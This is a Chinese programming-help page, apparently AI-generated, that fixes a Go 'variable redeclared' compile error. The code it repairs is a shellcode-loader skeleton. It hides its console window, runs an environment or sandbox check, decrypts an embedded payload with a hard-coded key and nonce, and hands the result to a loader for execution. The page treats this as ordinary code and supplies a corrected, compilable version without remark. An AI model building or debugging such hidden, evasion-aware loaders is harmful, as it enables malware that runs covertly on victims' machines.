Go 语言代码报错:变量名重复导致编译错误

以下代码在第 13 行和第 16 行中定义了同名的变量 'buf',导致编译器无法识别,从而报错。

package main

import (
	"encoding/base64"
	"gld/detect"
	"gld/loader"
	"gld/util"
	"github.com/lxn/win"
)

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	if !detect.ContinueRun() { return }

	key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
	nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
	buf, _ := base64.StdEncoding.DecodeString('/')
    decryptedData := util.E(buf, key, nonce)
    encodedData := base64.StdEncoding.EncodeToString(decryptedData)
    decodedData, _ := base64.StdEncoding.DecodeString(encodedData)
    buf := util.D(decodedData, key, nonce)
    
    loader.X(buf)
}

解决方案

可以将第 16 行中的变量名改为其他名称,例如:

buf2 := util.D(decodedData, key, nonce)

修改后的代码

package main

import (
	"encoding/base64"
	"gld/detect"
	"gld/loader"
	"gld/util"
	"github.com/lxn/win"
)

func main() {
	win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
	if !detect.ContinueRun() { return }

	key, _ := base64.StdEncoding.DecodeString('OTbrlslvlmAJCnkaBdGLsIUo92194R+gWspARPG+cvo=')
	nonce, _ := base64.StdEncoding.DecodeString('+scwwrYSCXKddUPP')
	buf, _ := base64.StdEncoding.DecodeString('/')
    decryptedData := util.E(buf, key, nonce)
    encodedData := base64.StdEncoding.EncodeToString(decryptedData)
    decodedData, _ := base64.StdEncoding.DecodeString(encodedData)
    buf2 := util.D(decodedData, key, nonce)
    
    loader.X(buf2)
}

通过修改变量名,避免重复定义,即可解决编译错误。

Go 语言代码报错:变量名重复导致编译错误

原文地址: https://www.cveoy.top/t/topic/lQbG 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录